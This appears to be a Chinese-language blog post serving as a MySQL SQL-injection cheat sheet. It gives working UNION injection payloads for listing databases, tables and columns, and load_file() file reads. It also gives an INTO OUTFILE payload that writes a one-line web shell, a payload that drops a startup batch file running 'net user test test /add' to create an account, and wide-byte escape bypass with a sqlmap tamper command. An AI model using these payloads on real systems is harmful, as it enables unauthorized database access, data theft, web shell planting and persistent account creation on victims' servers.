Sql注入之Mysql

Sql注入之Mysql

Mysql函数

  • system_user():系统用户名
  • user():用户名
  • current_user:当前用户名
  • session_user():连接数据库的用户名
  • database():数据库名
  • version():数据库版本
  • load_file():读取本地文件函数
  • @@datadir:读取数据库路径
  • @@basedir:mysql安装路径
  • @@version_compile_os:操作系统

Mysql注入利用

Mysql数据库从5.0版本之后开始有information_schema数据库

该数据库存放了Mysql数据库的信息

联合注入

使用联合注入查询infromation_schema中信息时,注意使用16进制

id=1 union select 1,2,3,4

当如上命令运行后,页面没有回显上面的对应数字,可以使用如下命令

id=1 and 1=2 union select 1,2,3,4
  • 查库名
union select 1,2,3,database()
  • 查表名
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=库名的16进制

group_concat():可以将所有返回的信息连成字符串并以“,”分开

  • 表下列名
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name = 表名的16进制

表名列名已经知道,就可以直接查询数据了

Mysql4.0注入

类似于Access数据库的注入,进行爆破注入。

读写函数使用

路径要为绝对路径,要有管理员权限

绝对路径可以在一些报错种查找,没有明确回显的可以通过抓包看

union select 1,2,load_file('C:/www/shell.php')
union select 1,2,load_file('C:\www\shell.php')
union select 1,2,load_file(test)	#test代表路径的16进制形式

写入的内容一定要使用双引号来引起来

写入一句话木马

union select 1,2,"一句话木马" into outfile 'C:/www/shell.php'

系统命令执行

union select 1,2,"net user test test /add" into outfile 'C://Documents and Settings/Administrator/ [开始] 菜单/程序/启动/a.bat'

如上将代码写入了开机启动,所起开机时就会创建用户

宽字节注入

介绍:

  • 当某字符的大小为一个字节时,称其字符为窄字节.
  • 当某字符的大小为两个字节时,称其字符为宽字节
  • 所有英文默认占一个字节;汉字占两个字节
  • 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
  • 后端对窄字节进行过滤,对宽字节不进行过滤(对单引号进行转义使其不起作用,成为内容)
  • 绕过思路为:让转义符号消失;或让其失去作用
  • PHP中magic_quotes_gpc配置造成宽字节注入(PHP自5.3.0起废弃,5.4.0起移除)
利用

使用Sqlmap

sqlmap -u "www.xxx.com/xx.php?id=1" --tamper unmagicquotes.py -v 3
原文地址:https://www.cnblogs.com/Wuser/p/12324828.html